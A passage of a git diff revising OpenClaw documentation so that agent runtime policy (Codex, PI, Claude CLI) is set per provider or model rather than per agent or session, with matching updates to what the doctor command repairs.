-885a734aa93cf04f6c14f8d83c1e96a66a5b96705327ea2de7b2aa7314238976 config-baseline.json -074eb9a1480ff40836d98090ccb9be3465345ac4b46e0d273b7995504bbb8008 config-baseline.core.json +98f80c92fc4fcb37d41470216ae6cd19b094d7f67b0ddc4983eba04aba314fe0 config-baseline.json +d9c4b2035178d3ffe637b751036f12082d4f26761681bb8496b86550565307e8 config-baseline.core.json ed15b24c1ccf0234e6b3435149a6f1c1e709579d1259f1d09402688799b149bd config-baseline.channel.json -c4e8d8898eebc4d40f35b167c987870e426e6c82121696dc055ff929f6a24046 config-baseline.plugin.json +7a9ed89a6ff7e578bfcab7828ab660af59e62402a85bfbfc05d5ae3d975e9728 config-baseline.plugin.json diff --git a/docs/cli/crestodian.md b/docs/cli/crestodian.md index 0202afac9d5..b43203c9343 100644 --- a/docs/cli/crestodian.md +++ b/docs/cli/crestodian.md @@ -170,7 +170,7 @@ configured OpenClaw model. If no configured model is usable yet, it can fall back to local runtimes already present on the machine: - Claude Code CLI: `claude-cli/claude-opus-4-7` -- Codex app-server harness: `openai/gpt-5.5` with `agentRuntime.id: "codex"` +- Codex app-server harness: `openai/gpt-5.5` - Codex CLI: `codex-cli/gpt-5.5` The model-assisted planner cannot mutate config directly. It must translate the diff --git a/docs/cli/doctor.md b/docs/cli/doctor.md index be306f071f1..74dd558b3e6 100644 --- a/docs/cli/doctor.md +++ b/docs/cli/doctor.md @@ -56,7 +56,7 @@ Notes: - Doctor also scans `~/.openclaw/cron/jobs.json` (or `cron.store`) for legacy cron job shapes and can rewrite them in place before the scheduler has to auto-normalize them at runtime. - On Linux, doctor warns when the user's crontab still runs legacy `~/.openclaw/bin/ensure-whatsapp.sh`; that script is no longer maintained and can log false WhatsApp gateway outages when cron lacks the systemd user-bus environment. - When WhatsApp is enabled, doctor checks for a degraded Gateway event loop with local `openclaw-tui` clients still running. `doctor --fix` stops only verified local TUI clients so WhatsApp replies are not queued behind stale TUI refresh loops. -- Doctor rewrites legacy `openai-codex/*` model refs to canonical `openai/*` refs across primary models, fallbacks, heartbeat/subagent/compaction overrides, hooks, channel model overrides, and stale session route pins. `--fix` selects `agentRuntime.id: "codex"` only when the Codex plugin is installed, enabled, contributes the `codex` harness, and has usable OAuth; otherwise it selects `agentRuntime.id: "pi"` so the route stays on the default OpenClaw runner. +- Doctor rewrites legacy `openai-codex/*` model refs to canonical `openai/*` refs across primary models, fallbacks, heartbeat/subagent/compaction overrides, hooks, channel model overrides, and stale session route pins. `--fix` preserves explicit provider/model `agentRuntime` policy, removes stale whole-agent/session runtime pins, and leaves canonical OpenAI agent refs on the default Codex harness when the official OpenAI provider is in use. - Doctor cleans legacy plugin dependency staging state created by older OpenClaw versions. It also repairs missing downloadable plugins that are referenced by config, such as `plugins.entries`, configured channels, configured provider/search settings, or configured agent runtimes. During package updates, doctor skips package-manager plugin repair until the package swap is complete; rerun `openclaw doctor --fix` afterward if a configured plugin still needs recovery. If the download fails, doctor reports the install error and preserves the configured plugin entry for the next repair attempt. - Doctor repairs stale plugin config by removing missing plugin ids from `plugins.allow`/`plugins.entries`, plus matching dangling channel config, heartbeat targets, and channel model overrides when plugin discovery is healthy. - Doctor quarantines invalid plugin config by disabling the affected `plugins.entries.` entry and removing its invalid `config` payload. Gateway startup already skips only that bad plugin so other plugins and channels can keep running. diff --git a/docs/concepts/agent-runtimes.md b/docs/concepts/agent-runtimes.md index 53501dee39e..ddf06730fda 100644 --- a/docs/concepts/agent-runtimes.md +++ b/docs/concepts/agent-runtimes.md @@ -23,8 +23,11 @@ configuration. They are different layers: You will also see the word **harness** in code. A harness is the implementation that provides an agent runtime. For example, the bundled Codex harness -implements the `codex` runtime. Public config uses `agentRuntime.id`; `openclaw -doctor --fix` rewrites older runtime-policy keys to that shape. +implements the `codex` runtime. Public config uses `agentRuntime.id` on +provider or model entries; whole-agent runtime keys are legacy and ignored. +`openclaw doctor --fix` removes old whole-agent runtime pins and rewrites +legacy runtime model refs to canonical provider/model refs plus model-scoped +runtime policy where needed. There are two runtime families: @@ -33,9 +36,9 @@ There are two runtime families: `codex`. - **CLI backends** run a local CLI process while keeping the model ref canonical. For example, `anthropic/claude-opus-4-7` with - `agentRuntime.id: "claude-cli"` means "select the Anthropic model, execute - through Claude CLI." `claude-cli` is not an embedded harness id and must not - be passed to AgentHarness selection. + a model-scoped `agentRuntime.id: "claude-cli"` means "select the Anthropic + model, execute through Claude CLI." `claude-cli` is not an embedded harness id + and must not be passed to AgentHarness selection. ## Codex surfaces @@ -87,9 +90,9 @@ This is the agent-facing decision tree: 2. If the user asks for **Codex as the embedded runtime** or wants the normal subscription-backed Codex agent experience, use `openai/`. 3. If the user explicitly chooses **PI for an OpenAI model**, keep the model ref - as `openai/` and set `agentRuntime.id: "pi"`. A selected - `openai-codex` auth profile is routed internally through PI's legacy - Codex-auth transport. + as `openai/` and set provider/model runtime policy to + `agentRuntime.id: "pi"`. A selected `openai-codex` auth profile is routed + internally through PI's legacy Codex-auth transport. 4. If legacy config still contains **`openai-codex/*` model refs**, repair it to `openai/` with `openclaw doctor --fix`. 5. If the user explicitly says **ACP**, **acpx**, or **Codex ACP adapter**, use @@ -132,21 +135,26 @@ This ownership split is the main design rule: OpenClaw chooses an embedded runtime after provider and model resolution: -1. A session's recorded runtime wins. Config changes do not hot-switch an - existing transcript to a different native thread system. -2. `OPENCLAW_AGENT_RUNTIME=` forces that runtime for new or reset sessions. -3. `agents.defaults.agentRuntime.id` or `agents.list[].agentRuntime.id` can set - `auto`, `pi`, a registered embedded harness id such as `codex`, or a - supported CLI backend alias such as `claude-cli`. -4. In `auto` mode, registered plugin runtimes can claim supported provider/model +1. Model-scoped runtime policy wins. This can live in a configured provider + model entry or in `agents.defaults.models["provider/model"].agentRuntime` / + `agents.list[].models["provider/model"].agentRuntime`. +2. Provider-scoped runtime policy comes next at + `models.providers..agentRuntime`. +3. In `auto` mode, registered plugin runtimes can claim supported provider/model pairs. -5. If no runtime claims a turn in `auto` mode, OpenClaw uses PI as the +4. If no runtime claims a turn in `auto` mode, OpenClaw uses PI as the compatibility runtime. Use an explicit runtime id when the run must be strict. -Explicit plugin runtimes fail closed. For example, `agentRuntime.id: "codex"` -means Codex or a clear selection/runtime error; it is never silently routed back -to PI. +Whole-session and whole-agent runtime pins are ignored. That includes +`OPENCLAW_AGENT_RUNTIME`, session `agentHarnessId`/`agentRuntimeOverride` state, +`agents.defaults.agentRuntime`, and `agents.list[].agentRuntime`. Run +`openclaw doctor --fix` to remove stale whole-agent runtime config and convert +legacy runtime model refs where OpenClaw can preserve the intent. + +Explicit provider/model plugin runtimes fail closed. For example, +`agentRuntime.id: "codex"` on a provider or model means Codex or a clear +selection/runtime error; it is never silently routed back to PI. CLI backend aliases are different from embedded harness ids. The preferred Claude CLI form is: @@ -156,7 +164,11 @@ Claude CLI form is: agents: { defaults: { model: "anthropic/claude-opus-4-7", - agentRuntime: { id: "claude-cli" }, + models: { + "anthropic/claude-opus-4-7": { + agentRuntime: { id: "claude-cli" }, + }, + }, }, }, } @@ -164,15 +176,15 @@ Claude CLI form is: Legacy refs such as `claude-cli/claude-opus-4-7` remain supported for compatibility, but new config should keep the provider/model canonical and put -the execution backend in `agentRuntime.id`. +the execution backend in provider/model runtime policy. `auto` mode is intentionally conservative for most providers. OpenAI agent models are the exception: unset runtime and `auto` both resolve to the Codex harness. Explicit PI runtime config remains an opt-in compatibility route for `openai/*` agent turns; when paired with a selected `openai-codex` auth profile, OpenClaw routes PI internally through the legacy Codex-auth transport while -keeping the public model ref as `openai/*`. Stale OpenAI PI session pins without -explicit config are repaired back to Codex. +keeping the public model ref as `openai/*`. Stale OpenAI PI session pins are +ignored by runtime selection and can be cleaned with `openclaw doctor --fix`. If `openclaw doctor` warns that the `codex` plugin is enabled while `openai-codex/*` remains in config, treat that as legacy route state. Run @@ -206,10 +218,8 @@ diagnostics, not as provider names. - A runtime id such as `codex` tells you which loop is executing the turn. - A channel label such as Telegram or Discord tells you where the conversation is happening. -If a session still shows PI after changing runtime config, start a new session -with `/new` or clear the current one with `/reset`. Existing sessions keep their -recorded runtime so a transcript is not replayed through two incompatible native -session systems. +If a run still shows an unexpected runtime, inspect the selected provider/model +runtime policy first. Legacy session runtime pins no longer decide routing. ## Related diff --git a/docs/concepts/model-providers.md b/docs/concepts/model-providers.md index 0bd76a63953..7541f117d2b 100644 --- a/docs/concepts/model-providers.md +++ b/docs/concepts/model-providers.md @@ -29,19 +29,19 @@ Reference for **LLM/model providers** (not chat channels like WhatsApp/Telegram) OpenAI-family routes are prefix-specific: - - `openai/` plus `agents.defaults.agentRuntime.id: "codex"` uses the native Codex app-server harness. This is the usual ChatGPT/Codex subscription setup. - - `openai-codex/` uses Codex OAuth in PI. - - `openai/` without a Codex runtime override uses the direct OpenAI API-key provider in PI. + - `openai/` uses the native Codex app-server harness for agent turns by default. This is the usual ChatGPT/Codex subscription setup. + - `openai-codex/` is legacy config that doctor rewrites to `openai/`. + - `openai/` plus provider/model `agentRuntime.id: "pi"` uses PI for explicit API-key or compatibility routes. See [OpenAI](/providers/openai) and [Codex harness](/plugins/codex-harness). If the provider/runtime split is confusing, read [Agent runtimes](/concepts/agent-runtimes) first. - Plugin auto-enable follows the same boundary: `openai-codex/` belongs to the OpenAI plugin, while the Codex plugin is enabled by `agentRuntime.id: "codex"` or legacy `codex/` refs. + Plugin auto-enable follows the same boundary: `openai/*` agent refs enable the Codex plugin for the default route, and explicit provider/model `agentRuntime.id: "codex"` or legacy `codex/` refs also require it. - GPT-5.5 is available through the native Codex app-server harness when `agentRuntime.id: "codex"` is set, through `openai-codex/gpt-5.5` in PI for Codex OAuth, and through `openai/gpt-5.5` in PI for direct API-key traffic when your account exposes it. + GPT-5.5 is available through the native Codex app-server harness by default on `openai/gpt-5.5`, and through PI only when provider/model runtime policy explicitly selects `pi`. - CLI runtimes use the same split: choose canonical model refs such as `anthropic/claude-*`, `google/gemini-*`, or `openai/gpt-*`, then set `agents.defaults.agentRuntime.id` to `claude-cli`, `google-gemini-cli`, or `codex-cli` when you want a local CLI backend. + CLI runtimes use the same split: choose canonical model refs such as `anthropic/claude-*`, `google/gemini-*`, or `openai/gpt-*`, then set provider/model runtime policy to `claude-cli`, `google-gemini-cli`, or `codex-cli` when you want a local CLI backend. Legacy `claude-cli/*`, `google-gemini-cli/*`, and `codex-cli/*` refs migrate back to canonical provider refs with the runtime recorded separately. @@ -118,7 +118,7 @@ OpenClaw ships with the pi-ai catalog. These providers require **no** `models.pr - Direct public Anthropic requests support the shared `/fast` toggle and `params.fastMode`, including API-key and OAuth-authenticated traffic sent to `api.anthropic.com`; OpenClaw maps that to Anthropic `service_tier` (`auto` vs `standard_only`) - Preferred Claude CLI config keeps the model ref canonical and selects the CLI backend separately: `anthropic/claude-opus-4-7` with - `agents.defaults.agentRuntime.id: "claude-cli"`. Legacy + model-scoped `agentRuntime.id: "claude-cli"`. Legacy `claude-cli/claude-opus-4-7` refs still work for compatibility. @@ -135,8 +135,8 @@ Anthropic staff told us OpenClaw-style Claude CLI usage is allowed again, so Ope - Provider: `openai-codex` - Auth: OAuth (ChatGPT) -- PI model ref: `openai-codex/gpt-5.5` -- Native Codex app-server harness ref: `openai/gpt-5.5` with `agents.defaults.agentRuntime.id: "codex"` +- Legacy PI model ref: `openai-codex/gpt-5.5` +- Native Codex app-server harness ref: `openai/gpt-5.5` - Native Codex app-server harness docs: [Codex harness](/plugins/codex-harness) - Legacy model refs: `codex/gpt-*` - Plugin boundary: `openai-codex/*` loads the OpenAI plugin; the native Codex app-server plugin is selected only by the Codex harness runtime or legacy `codex/*` refs. @@ -148,8 +148,8 @@ Anthropic staff told us OpenClaw-style Claude CLI usage is allowed again, so Ope - Shares the same `/fast` toggle and `params.fastMode` config as direct `openai/*`; OpenClaw maps that to `service_tier=priority` - `openai-codex/gpt-5.5` uses the Codex catalog native `contextWindow = 400000` and default runtime `contextTokens = 272000`; override the runtime cap with `models.providers.openai-codex.models[].contextTokens` - Policy note: OpenAI Codex OAuth is explicitly supported for external tools/workflows like OpenClaw. -- For the common subscription plus native Codex runtime route, sign in with `openai-codex` auth but configure `openai/gpt-5.5` plus `agents.defaults.agentRuntime.id: "codex"`. -- Use `openai-codex/gpt-5.5` only when you want the Codex OAuth/subscription route through PI; use `openai/gpt-5.5` without the Codex runtime override when your API-key setup and local catalog expose the public API route. +- For the common subscription plus native Codex runtime route, sign in with `openai-codex` auth but configure `openai/gpt-5.5`; OpenAI agent turns select Codex by default. +- Use provider/model `agentRuntime.id: "pi"` only when you want a compatibility route through PI; otherwise keep `openai/gpt-5.5` on the default Codex harness. - Older `openai-codex/gpt-5.1*`, `openai-codex/gpt-5.2*`, and `openai-codex/gpt-5.3*` refs are suppressed because ChatGPT/Codex OAuth accounts reject them; use `openai-codex/gpt-5.5` or the native Codex runtime route instead. ```json5 @@ -158,7 +158,6 @@ Anthropic staff told us OpenClaw-style Claude CLI usage is allowed again, so Ope agents: { defaults: { model: { primary: "openai/gpt-5.5" }, - agentRuntime: { id: "codex" }, }, }, } diff --git a/docs/concepts/models.md b/docs/concepts/models.md index 62d5bf07a70..7a7d98385ed 100644 --- a/docs/concepts/models.md +++ b/docs/concepts/models.md @@ -23,7 +23,7 @@ sidebarTitle: "Models CLI" -Model refs choose a provider and model. They do not usually choose the low-level agent runtime. For example, `openai/gpt-5.5` can run through the normal OpenAI provider path or through the Codex app-server runtime, depending on `agents.defaults.agentRuntime.id`. In Codex runtime mode, the `openai/gpt-*` ref does not imply API-key billing; auth can come from a Codex account or `openai-codex` auth profile. See [Agent runtimes](/concepts/agent-runtimes). +Model refs choose a provider and model. They do not usually choose the low-level agent runtime. OpenAI agent refs are the main exception: `openai/gpt-5.5` runs through the Codex app-server runtime by default on the official OpenAI provider. Explicit runtime overrides belong on provider/model policy, not on the whole agent or session. In Codex runtime mode, the `openai/gpt-*` ref does not imply API-key billing; auth can come from a Codex account or `openai-codex` auth profile. See [Agent runtimes](/concepts/agent-runtimes). ## How model selection works diff --git a/docs/gateway/config-agents.md b/docs/gateway/config-agents.md index ba0cba0d452..11a304df8c3 100644 --- a/docs/gateway/config-agents.md +++ b/docs/gateway/config-agents.md @@ -336,9 +336,6 @@ Time format in system prompt. Default: `auto` (OS preference). fallbacks: ["openai/gpt-5.4-mini"], }, params: { cacheRetention: "long" }, // global default provider params - agentRuntime: { - id: "pi", // pi | auto | registered harness id, e.g. codex - }, pdfMaxBytesMb: 10, pdfMaxPages: 20, thinkingDefault: "low", @@ -398,25 +395,28 @@ Time format in system prompt. Default: `auto` (OS preference). - `params.chat_template_kwargs`: vLLM/OpenAI-compatible chat-template arguments merged into top-level `api: "openai-completions"` request bodies. For `vllm/nemotron-3-*` with thinking off, the bundled vLLM plugin automatically sends `enable_thinking: false` and `force_nonempty_content: true`; explicit `chat_template_kwargs` override generated defaults, and `extra_body.chat_template_kwargs` still has final precedence. For vLLM Qwen thinking controls, set `params.qwenThinkingFormat` to `"chat-template"` or `"top-level"` on that model entry. - `compat.supportedReasoningEfforts`: per-model OpenAI-compatible reasoning effort list. Include `"xhigh"` for custom endpoints that truly accept it; OpenClaw then exposes `/think xhigh` in command menus, Gateway session rows, session patch validation, agent CLI validation, and `llm-task` validation for that configured provider/model. Use `compat.reasoningEffortMap` when the backend wants a provider-specific value for a canonical level. - `params.preserveThinking`: Z.AI-only opt-in for preserved thinking. When enabled and thinking is on, OpenClaw sends `thinking.clear_thinking: false` and replays prior `reasoning_content`; see [Z.AI thinking and preserved thinking](/providers/zai#thinking-and-preserved-thinking). -- `agentRuntime`: default low-level agent runtime policy. Omitted id defaults to OpenClaw Pi. Use `id: "pi"` to force the built-in PI harness, `id: "auto"` to let registered plugin harnesses claim supported models and use PI when none match, a registered harness id such as `id: "codex"` to require that harness, or a supported CLI backend alias such as `id: "claude-cli"`. Explicit plugin runtimes fail closed when the harness is unavailable or fails. Keep model refs canonical as `provider/model`; select Codex, Claude CLI, Gemini CLI, and other execution backends through runtime config instead of legacy runtime provider prefixes. See [Agent runtimes](/concepts/agent-runtimes) for how this differs from provider/model selection. +- Runtime policy belongs on providers or models, not on `agents.defaults`. Use `models.providers..agentRuntime` for provider-wide rules or `agents.defaults.models["provider/model"].agentRuntime` / `agents.list[].models["provider/model"].agentRuntime` for model-specific rules. OpenAI agent models on the official OpenAI provider select Codex by default. - Config writers that mutate these fields (for example `/models set`, `/models set-image`, and fallback add/remove commands) save canonical object form and preserve existing fallback lists when possible. - `maxConcurrent`: max parallel agent runs across sessions (each session still serialized). Default: 4. -### `agents.defaults.agentRuntime` - -`agentRuntime` controls which low-level executor runs agent turns. Most -deployments should keep the default OpenClaw Pi runtime. Use it when a trusted -plugin provides a native harness, such as the bundled Codex app-server harness, -or when you want a supported CLI backend such as Claude CLI. For the mental -model, see [Agent runtimes](/concepts/agent-runtimes). +### Runtime policy ```json5 { + models: { + providers: { + openai: { + agentRuntime: { id: "codex" }, + }, + }, + }, agents: { defaults: { model: "openai/gpt-5.5", - agentRuntime: { - id: "codex", + models: { + "anthropic/claude-opus-4-7": { + agentRuntime: { id: "claude-cli" }, + }, }, }, }, @@ -425,11 +425,9 @@ model, see [Agent runtimes](/concepts/agent-runtimes). - `id`: `"auto"`, `"pi"`, a registered plugin harness id, or a supported CLI backend alias. The bundled Codex plugin registers `codex`; the bundled Anthropic plugin provides the `claude-cli` CLI backend. - `id: "auto"` lets registered plugin harnesses claim supported turns and uses PI when no harness matches. An explicit plugin runtime such as `id: "codex"` requires that harness and fails closed if it is unavailable or fails. -- Environment override: `OPENCLAW_AGENT_RUNTIME=` overrides `id` for that process. -- OpenAI agent models use the Codex harness by default; `agentRuntime.id: "codex"` remains valid when you want to make that explicit. -- For Claude CLI deployments, prefer `model: "anthropic/claude-opus-4-7"` plus `agentRuntime.id: "claude-cli"`. Legacy `claude-cli/claude-opus-4-7` model refs still work for compatibility, but new config should keep provider/model selection canonical and put the execution backend in `agentRuntime.id`. -- Older runtime-policy keys are rewritten to `agentRuntime` by `openclaw doctor --fix`. -- Harness choice is pinned per session id after the first embedded run. Config/env changes affect new or reset sessions, not an existing transcript. Legacy OpenAI sessions with transcript history but no recorded pin use Codex; stale OpenAI PI pins can be repaired with `openclaw doctor --fix`. `/status` reports the effective runtime, for example `Runtime: OpenClaw Pi Default` or `Runtime: OpenAI Codex`. +- Whole-agent runtime keys are legacy. `agents.defaults.agentRuntime`, `agents.list[].agentRuntime`, session runtime pins, and `OPENCLAW_AGENT_RUNTIME` are ignored by runtime selection. Run `openclaw doctor --fix` to remove stale values. +- OpenAI agent models use the Codex harness by default; provider/model `agentRuntime.id: "codex"` remains valid when you want to make that explicit. +- For Claude CLI deployments, prefer `model: "anthropic/claude-opus-4-7"` plus model-scoped `agentRuntime.id: "claude-cli"`. Legacy `claude-cli/claude-opus-4-7` model refs still work for compatibility, but new config should keep provider/model selection canonical and put the execution backend in provider/model runtime policy. - This only controls text agent-turn execution. Media generation, vision, PDF, music, video, and TTS still use their provider/model settings. **Built-in alias shorthands** (only apply when the model is in `agents.defaults.models`): @@ -959,7 +957,6 @@ for provider examples and precedence. thinkingDefault: "high", // per-agent thinking level override reasoningDefault: "on", // per-agent reasoning visibility override fastModeDefault: false, // per-agent fast mode override - agentRuntime: { id: "auto" }, params: { cacheRetention: "none" }, // overrides matching defaults.models params by key tts: { providers: { @@ -1006,7 +1003,7 @@ for provider examples and precedence. - `thinkingDefault`: optional per-agent default thinking level (`off | minimal | low | medium | high | xhigh | adaptive | max`). Overrides `agents.defaults.thinkingDefault` for this agent when no per-message or session override is set. The selected provider/model profile controls which values are valid; for Google Gemini, `adaptive` keeps provider-owned dynamic thinking (`thinkingLevel` omitted on Gemini 3/3.1, `thinkingBudget: -1` on Gemini 2.5). - `reasoningDefault`: optional per-agent default reasoning visibility (`on | off | stream`). Overrides `agents.defaults.reasoningDefault` for this agent when no per-message or session reasoning override is set. - `fastModeDefault`: optional per-agent default for fast mode (`true | false`). Applies when no per-message or session fast-mode override is set. -- `agentRuntime`: optional per-agent low-level runtime policy override. Use `{ id: "codex" }` to make one agent Codex-only while other agents keep the default PI fallback in `auto` mode. +- `models`: optional per-agent model catalog/runtime overrides keyed by full `provider/model` ids. Use `models["provider/model"].agentRuntime` for per-agent runtime exceptions. - `runtime`: optional per-agent runtime descriptor. Use `type: "acp"` with `runtime.acp` defaults (`agent`, `backend`, `mode`, `cwd`) when the agent should default to ACP harness sessions. - `identity.avatar`: workspace-relative path, `http(s)` URL, or `data:` URI. - `identity` derives defaults: `ackReaction` from `emoji`, `mentionPatterns` from `name`/`emoji`. diff --git a/docs/gateway/doctor.md b/docs/gateway/doctor.md index fa89914bf1d..a9b261d8ee3 100644 --- a/docs/gateway/doctor.md +++ b/docs/gateway/doctor.md @@ -87,7 +87,7 @@ cat ~/.openclaw/openclaw.json - Legacy on-disk state migration (sessions/agent dir/WhatsApp auth). - Legacy plugin manifest contract key migration (`speechProviders`, `realtimeTranscriptionProviders`, `realtimeVoiceProviders`, `mediaUnderstandingProviders`, `imageGenerationProviders`, `videoGenerationProviders`, `webFetchProviders`, `webSearchProviders` → `contracts`). - Legacy cron store migration (`jobId`, `schedule.cron`, top-level delivery/payload fields, payload `provider`, simple `notify: true` webhook fallback jobs). - - Legacy agent runtime-policy migration to `agents.defaults.agentRuntime` and `agents.list[].agentRuntime`. + - Legacy whole-agent runtime-policy cleanup; provider/model runtime policy is the active route selector. - Stale plugin config cleanup when plugins are enabled; when `plugins.enabled=false`, stale plugin references are treated as inert containment config and are preserved. @@ -109,7 +109,7 @@ cat ~/.openclaw/openclaw.json - Channel status warnings (probed from the running gateway). - Channel-specific permission checks live under `openclaw channels capabilities`; for example, Discord voice channel permissions are audited with `openclaw channels capabilities --channel discord --target channel:`. - WhatsApp responsiveness checks for degraded Gateway event-loop health with local TUI clients still running; `--fix` stops only verified local TUI clients. - - Codex route repair for legacy `openai-codex/*` model refs in primary models, fallbacks, heartbeat/subagent/compaction overrides, hooks, channel model overrides, and session route pins; `--fix` rewrites them to `openai/*` and selects `agentRuntime.id: "codex"` only when the Codex plugin is installed, enabled, contributes the `codex` harness, and has usable OAuth. Otherwise it selects `agentRuntime.id: "pi"`. + - Codex route repair for legacy `openai-codex/*` model refs in primary models, fallbacks, heartbeat/subagent/compaction overrides, hooks, channel model overrides, and session route pins; `--fix` rewrites them to `openai/*`, removes stale session/whole-agent runtime pins, and leaves canonical OpenAI agent refs on the default Codex harness. - Supervisor config audit (launchd/systemd/schtasks) with optional repair. - Embedded proxy environment cleanup for gateway services that captured shell `HTTP_PROXY` / `HTTPS_PROXY` / `NO_PROXY` values during install or update. - Gateway runtime best-practice checks (Node vs Bun, version-manager paths). @@ -269,8 +269,8 @@ That stages grounded durable candidates into the short-term dreaming store while In `--fix` / `--repair` mode, doctor rewrites affected default-agent and per-agent refs, including primary models, fallbacks, heartbeat/subagent/compaction overrides, hooks, channel model overrides, and stale persisted session route state: - `openai-codex/gpt-*` becomes `openai/gpt-*`. - - The matching agent runtime becomes `agentRuntime.id: "codex"` only when Codex is installed, enabled, contributes the `codex` harness, and has usable OAuth. - - Otherwise the matching agent runtime becomes `agentRuntime.id: "pi"`. + - Stale whole-agent runtime config and persisted session runtime pins are removed because runtime selection is provider/model-scoped. + - Explicit provider/model runtime policy is preserved. - Existing model fallback lists are preserved with their legacy entries rewritten; copied per-model settings move from the legacy key to the canonical `openai/*` key. - Persisted session `modelProvider`/`providerOverride`, `model`/`modelOverride`, fallback notices, auth-profile pins, and Codex harness pins are repaired across all discovered agent session stores. - `/codex ...` means "control or bind a native Codex conversation from chat." diff --git a/docs/help/faq-first-run.md b/docs/help/faq-first-run.md index 6b9c4bc1549..964f0875f2f 100644 --- a/docs/help/faq-first-run.md +++ b/docs/help/faq-first-run.md @@ -594,12 +594,11 @@ and troubleshooting see the main [FAQ](/help/faq). OpenClaw supports **OpenAI Code (Codex)** via OAuth (ChatGPT sign-in). Use - `openai/gpt-5.5` with `agentRuntime.id: "codex"` for the common setup: - ChatGPT/Codex subscription auth plus native Codex app-server execution. Use - `openai-codex/gpt-5.5` only when you want Codex OAuth through the default - Codex runtime. Direct OpenAI API-key access remains available for non-agent - OpenAI API surfaces and for agent models through an ordered - `openai-codex` API-key profile. + `openai/gpt-5.5` for the common setup: ChatGPT/Codex subscription auth plus + native Codex app-server execution. `openai-codex/gpt-*` model refs are + legacy config repaired by `openclaw doctor --fix`. Direct OpenAI API-key + access remains available for non-agent OpenAI API surfaces and for agent + models through an ordered `openai-codex` API-key profile. See [Model providers](/concepts/model-providers) and [Onboarding (CLI)](/start/wizard). diff --git a/docs/help/faq-models.md b/docs/help/faq-models.md index cabca743fcf..acc33389592 100644 --- a/docs/help/faq-models.md +++ b/docs/help/faq-models.md @@ -150,7 +150,7 @@ troubleshooting, see the main [FAQ](/help/faq). - **Native Codex coding agent:** set `agents.defaults.model.primary` to `openai/gpt-5.5`. Sign in with `openclaw models auth login --provider openai-codex` when you want ChatGPT/Codex subscription auth. - **Direct OpenAI API tasks outside the agent loop:** configure `OPENAI_API_KEY` for images, embeddings, speech, realtime, and other non-agent OpenAI API surfaces. - **OpenAI agent API-key auth:** use `/model openai/gpt-5.5` with an ordered `openai-codex` API-key profile. - - **Sub-agents:** route coding tasks to a Codex-only agent with its own model and `agentRuntime` default. + - **Sub-agents:** route coding tasks to a Codex-focused agent with its own `openai/gpt-5.5` model. See [Models](/concepts/models) and [Slash commands](/tools/slash-commands). diff --git a/docs/help/testing-live.md b/docs/help/testing-live.md index 2314854a362..fd17c6faa69 100644 --- a/docs/help/testing-live.md +++ b/docs/help/testing-live.md @@ -285,8 +285,8 @@ Docker notes: - Goal: validate the plugin-owned Codex harness through the normal gateway `agent` method: - load the bundled `codex` plugin - - select `OPENCLAW_AGENT_RUNTIME=codex` - - send a first gateway agent turn to `openai/gpt-5.5` with the Codex harness forced + - select `openai/gpt-5.5`, which routes OpenAI agent turns through Codex by default + - send a first gateway agent turn to `openai/gpt-5.5` with the Codex harness selected - send a second turn to the same OpenClaw session and verify the app-server thread can resume - run `/codex status` and `/codex models` through the same gateway command @@ -300,8 +300,8 @@ Docker notes: - Optional image probe: `OPENCLAW_LIVE_CODEX_HARNESS_IMAGE_PROBE=1` - Optional MCP/tool probe: `OPENCLAW_LIVE_CODEX_HARNESS_MCP_PROBE=1` - Optional Guardian probe: `OPENCLAW_LIVE_CODEX_HARNESS_GUARDIAN_PROBE=1` -- The smoke uses `agentRuntime.id: "codex"` so a broken Codex harness cannot - pass by silently falling back to PI. +- The smoke forces provider/model `agentRuntime.id: "codex"` so a broken Codex + harness cannot pass by silently falling back to PI. - Auth: Codex app-server auth from the local Codex subscription login. Docker smokes can also provide `OPENAI_API_KEY` for non-Codex probes when applicable, plus optional copied `~/.codex/auth.json` and `~/.codex/config.toml`. diff --git a/docs/plugins/codex-computer-use.md b/docs/plugins/codex-computer-use.md index 08127ad5a9b..1395246be86 100644 --- a/docs/plugins/codex-computer-use.md +++ b/docs/plugins/codex-computer-use.md @@ -96,9 +96,6 @@ Computer Use available before a thread starts: agents: { defaults: { model: "openai/gpt-5.5", - agentRuntime: { - id: "codex", - }, }, }, } @@ -114,9 +111,8 @@ register the bundled Codex marketplace from fails. If setup still cannot make the MCP server available, the turn fails before the thread starts. -Existing sessions keep their runtime and Codex thread binding. After changing -`agentRuntime` or Computer Use config, use `/new` or `/reset` in the affected -chat before testing. +After changing Computer Use config, use `/new` or `/reset` in the affected chat +before testing if an existing Codex thread has already started. ## Commands diff --git a/docs/plugins/codex-harness.md b/docs/plugins/codex-harness.md index a000773b38a..f96c6c458ee 100644 --- a/docs/plugins/codex-harness.md +++ b/docs/plugins/codex-harness.md @@ -50,7 +50,8 @@ First sign in with Codex OAuth if you have not already: openclaw models auth login --provider openai-codex ``` -Then enable the bundled `codex` plugin and force the Codex runtime: +Then enable the bundled `codex` plugin and use the canonical OpenAI model ref. +OpenAI agent turns select the Codex runtime by default: ```json5 { @@ -64,9 +65,6 @@ Then enable the bundled `codex` plugin and force the Codex runtime: agents: { defaults: { model: "openai/gpt-5.5", - agentRuntime: { - id: "codex", - }, }, }, } @@ -98,7 +96,7 @@ The bundled `codex` plugin contributes several separate capabilities: | Capability | How you use it | What it does | | --------------------------------- | --------------------------------------------------- | ----------------------------------------------------------------------------- | -| Native embedded runtime | `agentRuntime.id: "codex"` | Runs OpenClaw embedded agent turns through Codex app-server. | +| Native embedded runtime | `openai/gpt-*` agent model refs | Runs OpenClaw embedded agent turns through Codex app-server. | | Native chat-control commands | `/codex bind`, `/codex resume`, `/codex steer`, ... | Binds and controls Codex app-server threads from a messaging conversation. | | Codex app-server provider/catalog | `codex` internals, surfaced through the harness | Lets the runtime discover and validate app-server models. | | Codex media-understanding path | `codex/*` image-model compatibility paths | Runs bounded Codex app-server turns for supported image understanding models. | @@ -110,7 +108,7 @@ Enabling the plugin makes those capabilities available. It does **not**: realtime - convert `openai-codex/*` model refs without `openclaw doctor --fix` - make ACP/acpx the default Codex path -- hot-switch existing sessions that already recorded a PI runtime +- use stale whole-agent or session runtime pins for routing - replace OpenClaw channel delivery, session files, auth-profile storage, or message routing @@ -141,35 +139,37 @@ For the plugin hook semantics themselves, see [Plugin hooks](/plugins/hooks) and [Plugin guard behavior](/tools/plugin). OpenAI agent model refs use the harness by default. New configs should keep -OpenAI model refs canonical as `openai/gpt-*`; `agentRuntime.id: "codex"` is -still valid but no longer required for OpenAI agent turns. Legacy `codex/*` -model refs still auto-select the harness for compatibility, but +OpenAI model refs canonical as `openai/gpt-*`; provider/model +`agentRuntime.id: "codex"` is still valid but no longer required for OpenAI +agent turns. Legacy 